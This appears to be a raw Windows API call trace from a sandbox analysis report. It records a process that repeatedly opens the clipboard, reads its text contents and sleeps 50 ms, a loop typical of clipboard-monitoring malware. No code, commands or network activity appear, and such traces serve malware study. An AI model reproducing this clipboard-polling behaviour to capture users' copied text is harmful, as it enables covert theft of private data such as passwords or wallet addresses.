[0131.603] GetClipboardData (uFormat=0x1) returned 0x5e0298
[0131.604] GlobalLock (hMem=0x5e0298) returned 0x5e0298
[0131.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0131.604] GlobalUnlock (hMem=0x5e0298) returned 1
[0131.604] CloseClipboard () returned 1
[0131.604] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0131.604] Sleep (dwMilliseconds=0x32)
[0131.689] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa92e8068, dwHighDateTime=0x1d96e12))
[0131.689] OpenClipboard (hWndNewOwner=0x0) returned 1
[0131.689] GetClipboardData (uFormat=0x1) returned 0x5e0388
[0131.689] GlobalLock (hMem=0x5e0388) returned 0x5e0388
[0131.689] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea88
[0131.689] GlobalUnlock (hMem=0x5e0388) returned 1
[0131.689] CloseClipboard () returned 1
[0131.689] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea88 | out: hHeap=0x5b0000) returned 1
[0131.689] Sleep (dwMilliseconds=0x32)
[0131.772] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa93b2b4c, dwHighDateTime=0x1d96e12))
[0131.772] OpenClipboard (hWndNewOwner=0x0) returned 1
[0131.772] GetClipboardData (uFormat=0x1) returned 0x5dff08
[0131.772] GlobalLock (hMem=0x5dff08) returned 0x5dff08
[0131.772] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0131.772] GlobalUnlock (hMem=0x5dff08) returned 1
[0131.772] CloseClipboard () returned 1
[0131.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0131.772] Sleep (dwMilliseconds=0x32)
[0131.866] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa9498381, dwHighDateTime=0x1d96e12))
[0131.866] OpenClipboard (hWndNewOwner=0x0) returned 1
[0131.866] GetClipboardData (uFormat=0x1) returned 0x5e01a8
[0131.866] GlobalLock (hMem=0x5e01a8) returned 0x5e01a8
[0131.866] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0131.866] GlobalUnlock (hMem=0x5e01a8) returned 1
[0131.866] CloseClipboard () returned 1
[0131.866] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0131.866] Sleep (dwMilliseconds=0x32)
[0131.975] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa95a4af4, dwHighDateTime=0x1d96e12))
[0131.975] OpenClipboard (hWndNewOwner=0x0) returned 1
[0131.975] GetClipboardData (uFormat=0x1) returned 0x5dfff8
[0131.976] GlobalLock (hMem=0x5dfff8) returned 0x5dfff8
[0131.976] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0131.976] GlobalUnlock (hMem=0x5dfff8) returned 1
[0131.976] CloseClipboard () returned 1
[0131.976] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0131.976] Sleep (dwMilliseconds=0x32)
[0132.064] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa967df56, dwHighDateTime=0x1d96e12))
[0132.064] OpenClipboard (hWndNewOwner=0x0) returned 1
[0132.064] GetClipboardData (uFormat=0x1) returned 0x5e0268
[0132.065] GlobalLock (hMem=0x5e0268) returned 0x5e0268
[0132.065] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0132.065] GlobalUnlock (hMem=0x5e0268) returned 1
[0132.065] CloseClipboard () returned 1
[0132.065] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0132.065] Sleep (dwMilliseconds=0x32)
[0132.354] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa993f89e, dwHighDateTime=0x1d96e12))
[0132.354] OpenClipboard (hWndNewOwner=0x0) returned 1
[0132.354] GetClipboardData (uFormat=0x1) returned 0x5e00e8
[0132.354] GlobalLock (hMem=0x5e00e8) returned 0x5e00e8
[0132.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0132.354] GlobalUnlock (hMem=0x5e00e8) returned 1
[0132.354] CloseClipboard () returned 1
[0132.355] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0132.355] Sleep (dwMilliseconds=0x32)
[0132.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa9a13ef8, dwHighDateTime=0x1d96e12))
[0132.441] OpenClipboard (hWndNewOwner=0x0) returned 1
[0132.441] GetClipboardData (uFormat=0x1) returned 0x5e0268
[0132.441] GlobalLock (hMem=0x5e0268) returned 0x5e0268
[0132.441] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0132.441] GlobalUnlock (hMem=0x5e0268) returned 1
[0132.441] CloseClipboard () returned 1
[0132.441] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0132.441] Sleep (dwMilliseconds=0x32)
[0132.494] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa9a9551e, dwHighDateTime=0x1d96e12))
[0132.494] OpenClipboard (hWndNewOwner=0x0) returned 1
[0132.494] GetClipboardData (uFormat=0x1) returned 0x5dfff8
[0132.494] GlobalLock (hMem=0x5dfff8) returned 0x5dfff8
[0132.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de778
[0132.494] GlobalUnlock (hMem=0x5dfff8) returned 1
[0132.494] CloseClipboard () returned 1
[0132.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de778 | out: hHeap=0x5b0000) returned 1
[0132.494] Sleep (dwMilliseconds=0x32)
[0132.567] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa9b4785e, dwHighDateTime=0x1d96e12))
[0132.567] OpenClipboard (hWndNewOwner=0x0) returned 1
[0132.567] GetClipboardData (uFormat=0x1) returned 0x5e00e8
[0132.567] GlobalLock (hMem=0x5e00e8) returned 0x5e00e8
[0132.568] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0132.568] GlobalUnlock (hMem=0x5e00e8) returned 1
[0132.568] CloseClipboard () returned 1
[0132.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0132.568] Sleep (dwMilliseconds=0x32)
[0132.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa9bed92a, dwHighDateTime=0x1d96e12))
[0132.635] OpenClipboard (hWndNewOwner=0x0) returned 1
[0132.635] GetClipboardData (uFormat=0x1) returned 0x5dff98
[0132.636] GlobalLock (hMem=0x5dff98) returned 0x5dff98
[0132.636] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5deba0
[0132.636] GlobalUnlock (hMem=0x5dff98) returned 1
[0132.636] CloseClipboard () returned 1
[0132.636] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5deba0 | out: hHeap=0x5b0000) returned 1
[0132.636] Sleep (dwMilliseconds=0x32)
[0132.847] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa9df3275, dwHighDateTime=0x1d96e12))
[0132.847] OpenClipboard (hWndNewOwner=0x0) returned 1
[0132.847] GetClipboardData (uFormat=0x1) returned 0x5e00e8
[0132.848] GlobalLock (hMem=0x5e00e8) returned 0x5e00e8
[0132.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de778
[0132.848] GlobalUnlock (hMem=0x5e00e8) returned 1
[0132.848] CloseClipboard () returned 1
[0132.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de778 | out: hHeap=0x5b0000) returned 1
[0132.848] Sleep (dwMilliseconds=0x32)
[0132.960] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa9f07069, dwHighDateTime=0x1d96e12))
[0132.960] OpenClipboard (hWndNewOwner=0x0) returned 1
[0132.960] GetClipboardData (uFormat=0x1) returned 0x5e0418
[0132.960] GlobalLock (hMem=0x5e0418) returned 0x5e0418
[0132.960] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0132.960] GlobalUnlock (hMem=0x5e0418) returned 1
[0132.960] CloseClipboard () returned 1
[0132.960] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0132.960] Sleep (dwMilliseconds=0x32)
[0133.048] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xa9fe0551, dwHighDateTime=0x1d96e12))
[0133.048] OpenClipboard (hWndNewOwner=0x0) returned 1
[0133.064] GetClipboardData (uFormat=0x1) returned 0x5e0358
[0133.064] GlobalLock (hMem=0x5e0358) returned 0x5e0358
[0133.064] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0133.064] GlobalUnlock (hMem=0x5e0358) returned 1
[0133.064] CloseClipboard () returned 1
[0133.065] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0133.065] Sleep (dwMilliseconds=0x32)
[0133.141] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaa0b58ed, dwHighDateTime=0x1d96e12))
[0133.141] OpenClipboard (hWndNewOwner=0x0) returned 1
[0133.141] GetClipboardData (uFormat=0x1) returned 0x5e0208
[0133.142] GlobalLock (hMem=0x5e0208) returned 0x5e0208
[0133.142] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de778
[0133.142] GlobalUnlock (hMem=0x5e0208) returned 1
[0133.142] CloseClipboard () returned 1
[0133.142] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de778 | out: hHeap=0x5b0000) returned 1
[0133.142] Sleep (dwMilliseconds=0x32)
[0133.225] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaa1744b9, dwHighDateTime=0x1d96e12))
[0133.225] OpenClipboard (hWndNewOwner=0x0) returned 1
[0133.225] GetClipboardData (uFormat=0x1) returned 0x5e03b8
[0133.225] GlobalLock (hMem=0x5e03b8) returned 0x5e03b8
[0133.225] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5deb68
[0133.225] GlobalUnlock (hMem=0x5e03b8) returned 1
[0133.225] CloseClipboard () returned 1
[0133.226] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5deb68 | out: hHeap=0x5b0000) returned 1
[0133.226] Sleep (dwMilliseconds=0x32)
[0133.277] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaa20ce24, dwHighDateTime=0x1d96e12))
[0133.277] OpenClipboard (hWndNewOwner=0x0) returned 1
[0133.277] GetClipboardData (uFormat=0x1) returned 0x5e0238
[0133.277] GlobalLock (hMem=0x5e0238) returned 0x5e0238
[0133.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0133.278] GlobalUnlock (hMem=0x5e0238) returned 1
[0133.278] CloseClipboard () returned 1
[0133.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0133.278] Sleep (dwMilliseconds=0x32)
[0133.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaa2cb938, dwHighDateTime=0x1d96e12))
[0133.368] OpenClipboard (hWndNewOwner=0x0) returned 1
[0133.368] GetClipboardData (uFormat=0x1) returned 0x5dfea8
[0133.369] GlobalLock (hMem=0x5dfea8) returned 0x5dfea8
[0133.369] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0133.369] GlobalUnlock (hMem=0x5dfea8) returned 1
[0133.369] CloseClipboard () returned 1
[0133.369] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0133.369] Sleep (dwMilliseconds=0x32)
[0133.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaa38a5aa, dwHighDateTime=0x1d96e12))
[0133.433] OpenClipboard (hWndNewOwner=0x0) returned 1
[0133.433] GetClipboardData (uFormat=0x1) returned 0x5dfe78
[0133.433] GlobalLock (hMem=0x5dfe78) returned 0x5dfe78
[0133.433] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0133.433] GlobalUnlock (hMem=0x5dfe78) returned 1
[0133.433] CloseClipboard () returned 1
[0133.433] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0133.433] Sleep (dwMilliseconds=0x32)
[0133.495] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaa422f3c, dwHighDateTime=0x1d96e12))
[0133.495] OpenClipboard (hWndNewOwner=0x0) returned 1
[0133.495] GetClipboardData (uFormat=0x1) returned 0x5e0418
[0133.496] GlobalLock (hMem=0x5e0418) returned 0x5e0418
[0133.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0133.496] GlobalUnlock (hMem=0x5e0418) returned 1
[0133.496] CloseClipboard () returned 1
[0133.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0133.496] Sleep (dwMilliseconds=0x32)
[0133.559] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaa4bb823, dwHighDateTime=0x1d96e12))
[0133.559] OpenClipboard (hWndNewOwner=0x0) returned 1
[0133.559] GetClipboardData (uFormat=0x1) returned 0x5e03b8
[0133.559] GlobalLock (hMem=0x5e03b8) returned 0x5e03b8
[0133.559] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0133.559] GlobalUnlock (hMem=0x5e03b8) returned 1
[0133.559] CloseClipboard () returned 1
[0133.559] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0133.559] Sleep (dwMilliseconds=0x32)
[0133.665] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaa5a060d, dwHighDateTime=0x1d96e12))
[0133.665] OpenClipboard (hWndNewOwner=0x0) returned 1
[0133.665] GetClipboardData (uFormat=0x1) returned 0x5e00e8
[0133.665] GlobalLock (hMem=0x5e00e8) returned 0x5e00e8
[0133.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0133.665] GlobalUnlock (hMem=0x5e00e8) returned 1
[0133.665] CloseClipboard () returned 1
[0133.665] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0133.665] Sleep (dwMilliseconds=0x32)
[0133.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaa65f21e, dwHighDateTime=0x1d96e12))
[0133.730] OpenClipboard (hWndNewOwner=0x0) returned 1
[0133.730] GetClipboardData (uFormat=0x1) returned 0x5e03b8
[0133.730] GlobalLock (hMem=0x5e03b8) returned 0x5e03b8
[0133.730] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea50
[0133.730] GlobalUnlock (hMem=0x5e03b8) returned 1
[0133.730] CloseClipboard () returned 1
[0133.730] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea50 | out: hHeap=0x5b0000) returned 1
[0133.730] Sleep (dwMilliseconds=0x32)
[0133.792] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaa6f7b98, dwHighDateTime=0x1d96e12))
[0133.792] OpenClipboard (hWndNewOwner=0x0) returned 1
[0133.792] GetClipboardData (uFormat=0x1) returned 0x5e00e8
[0133.792] GlobalLock (hMem=0x5e00e8) returned 0x5e00e8
[0133.792] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0133.793] GlobalUnlock (hMem=0x5e00e8) returned 1
[0133.793] CloseClipboard () returned 1
[0133.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0133.793] Sleep (dwMilliseconds=0x32)
[0133.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaa7904ae, dwHighDateTime=0x1d96e12))
[0133.855] OpenClipboard (hWndNewOwner=0x0) returned 1
[0133.855] GetClipboardData (uFormat=0x1) returned 0x5e00e8
[0133.855] GlobalLock (hMem=0x5e00e8) returned 0x5e00e8
[0133.855] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0133.855] GlobalUnlock (hMem=0x5e00e8) returned 1
[0133.855] CloseClipboard () returned 1
[0133.855] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0133.855] Sleep (dwMilliseconds=0x32)
[0133.917] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaa828ea9, dwHighDateTime=0x1d96e12))
[0133.917] OpenClipboard (hWndNewOwner=0x0) returned 1
[0133.917] GetClipboardData (uFormat=0x1) returned 0x5e0328
[0133.917] GlobalLock (hMem=0x5e0328) returned 0x5e0328
[0133.918] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0133.918] GlobalUnlock (hMem=0x5e0328) returned 1
[0133.918] CloseClipboard () returned 1
[0133.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0133.918] Sleep (dwMilliseconds=0x32)
[0133.980] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaa8c1795, dwHighDateTime=0x1d96e12))
[0133.980] OpenClipboard (hWndNewOwner=0x0) returned 1
[0133.980] GetClipboardData (uFormat=0x1) returned 0x5e03e8
[0133.981] GlobalLock (hMem=0x5e03e8) returned 0x5e03e8
[0133.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0133.981] GlobalUnlock (hMem=0x5e03e8) returned 1
[0133.981] CloseClipboard () returned 1
[0133.981] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0133.981] Sleep (dwMilliseconds=0x32)
[0134.042] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaa95a10e, dwHighDateTime=0x1d96e12))
[0134.042] OpenClipboard (hWndNewOwner=0x0) returned 1
[0134.042] GetClipboardData (uFormat=0x1) returned 0x5e0178
[0134.043] GlobalLock (hMem=0x5e0178) returned 0x5e0178
[0134.043] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de890
[0134.043] GlobalUnlock (hMem=0x5e0178) returned 1
[0134.043] CloseClipboard () returned 1
[0134.043] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de890 | out: hHeap=0x5b0000) returned 1
[0134.043] Sleep (dwMilliseconds=0x32)
[0134.105] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaa9f2a20, dwHighDateTime=0x1d96e12))
[0134.105] OpenClipboard (hWndNewOwner=0x0) returned 1
[0134.105] GetClipboardData (uFormat=0x1) returned 0x5e0358
[0134.105] GlobalLock (hMem=0x5e0358) returned 0x5e0358
[0134.105] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5deba0
[0134.105] GlobalUnlock (hMem=0x5e0358) returned 1
[0134.105] CloseClipboard () returned 1
[0134.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5deba0 | out: hHeap=0x5b0000) returned 1
[0134.105] Sleep (dwMilliseconds=0x32)
[0134.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaaa8b368, dwHighDateTime=0x1d96e12))
[0134.167] OpenClipboard (hWndNewOwner=0x0) returned 1
[0134.167] GetClipboardData (uFormat=0x1) returned 0x5e0388
[0134.167] GlobalLock (hMem=0x5e0388) returned 0x5e0388
[0134.167] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0134.167] GlobalUnlock (hMem=0x5e0388) returned 1
[0134.168] CloseClipboard () returned 1
[0134.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0134.168] Sleep (dwMilliseconds=0x32)
[0134.232] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaab28a60, dwHighDateTime=0x1d96e12))
[0134.232] OpenClipboard (hWndNewOwner=0x0) returned 1
[0134.232] GetClipboardData (uFormat=0x1) returned 0x5dfea8
[0134.232] GlobalLock (hMem=0x5dfea8) returned 0x5dfea8
[0134.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0134.232] GlobalUnlock (hMem=0x5dfea8) returned 1
[0134.232] CloseClipboard () returned 1
[0134.233] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0134.233] Sleep (dwMilliseconds=0x32)
[0134.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaabbc703, dwHighDateTime=0x1d96e12))
[0134.292] OpenClipboard (hWndNewOwner=0x0) returned 1
[0134.292] GetClipboardData (uFormat=0x1) returned 0x5e0328
[0134.292] GlobalLock (hMem=0x5e0328) returned 0x5e0328
[0134.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea50
[0134.292] GlobalUnlock (hMem=0x5e0328) returned 1
[0134.292] CloseClipboard () returned 1
[0134.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea50 | out: hHeap=0x5b0000) returned 1
[0134.293] Sleep (dwMilliseconds=0x32)
[0134.355] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaac5506f, dwHighDateTime=0x1d96e12))
[0134.355] OpenClipboard (hWndNewOwner=0x0) returned 1
[0134.355] GetClipboardData (uFormat=0x1) returned 0x5e03e8
[0134.355] GlobalLock (hMem=0x5e03e8) returned 0x5e03e8
[0134.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0134.356] GlobalUnlock (hMem=0x5e03e8) returned 1
[0134.356] CloseClipboard () returned 1
[0134.356] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0134.356] Sleep (dwMilliseconds=0x32)
[0134.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaaced9a0, dwHighDateTime=0x1d96e12))
[0134.417] OpenClipboard (hWndNewOwner=0x0) returned 1
[0134.417] GetClipboardData (uFormat=0x1) returned 0x5dff98
[0134.417] GlobalLock (hMem=0x5dff98) returned 0x5dff98
[0134.417] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de6d0
[0134.417] GlobalUnlock (hMem=0x5dff98) returned 1
[0134.417] CloseClipboard () returned 1
[0134.418] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de6d0 | out: hHeap=0x5b0000) returned 1
[0134.418] Sleep (dwMilliseconds=0x32)
[0134.480] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaad862ff, dwHighDateTime=0x1d96e12))
[0134.480] OpenClipboard (hWndNewOwner=0x0) returned 1
[0134.480] GetClipboardData (uFormat=0x1) returned 0x5e0418
[0134.480] GlobalLock (hMem=0x5e0418) returned 0x5e0418
[0134.480] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5de8c8
[0134.480] GlobalUnlock (hMem=0x5e0418) returned 1
[0134.480] CloseClipboard () returned 1
[0134.480] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5de8c8 | out: hHeap=0x5b0000) returned 1
[0134.480] Sleep (dwMilliseconds=0x32)
[0134.542] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaae1ec81, dwHighDateTime=0x1d96e12))
[0134.542] OpenClipboard (hWndNewOwner=0x0) returned 1
[0134.542] GetClipboardData (uFormat=0x1) returned 0x5e00e8
[0134.542] GlobalLock (hMem=0x5e00e8) returned 0x5e00e8
[0134.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0134.542] GlobalUnlock (hMem=0x5e00e8) returned 1
[0134.543] CloseClipboard () returned 1
[0134.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0134.543] Sleep (dwMilliseconds=0x32)
[0134.616] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ea98 | out: lpSystemTimeAsFileTime=0x18ea98*(dwLowDateTime=0xaaeb75c8, dwHighDateTime=0x1d96e12))
[0134.616] OpenClipboard (hWndNewOwner=0x0) returned 1
[0134.616] GetClipboardData (uFormat=0x1) returned 0x5dfe78
[0134.616] GlobalLock (hMem=0x5dfe78) returned 0x5dfe78
[0134.616] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x5dea18
[0134.616] GlobalUnlock (hMem=0x5dfe78) returned 1
[0134.616] CloseClipboard () returned 1
[0134.616] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5dea18 | out: hHeap=0x5b0000) returned 1
[0134.616] Sleep (dwMilliseconds=0x32)
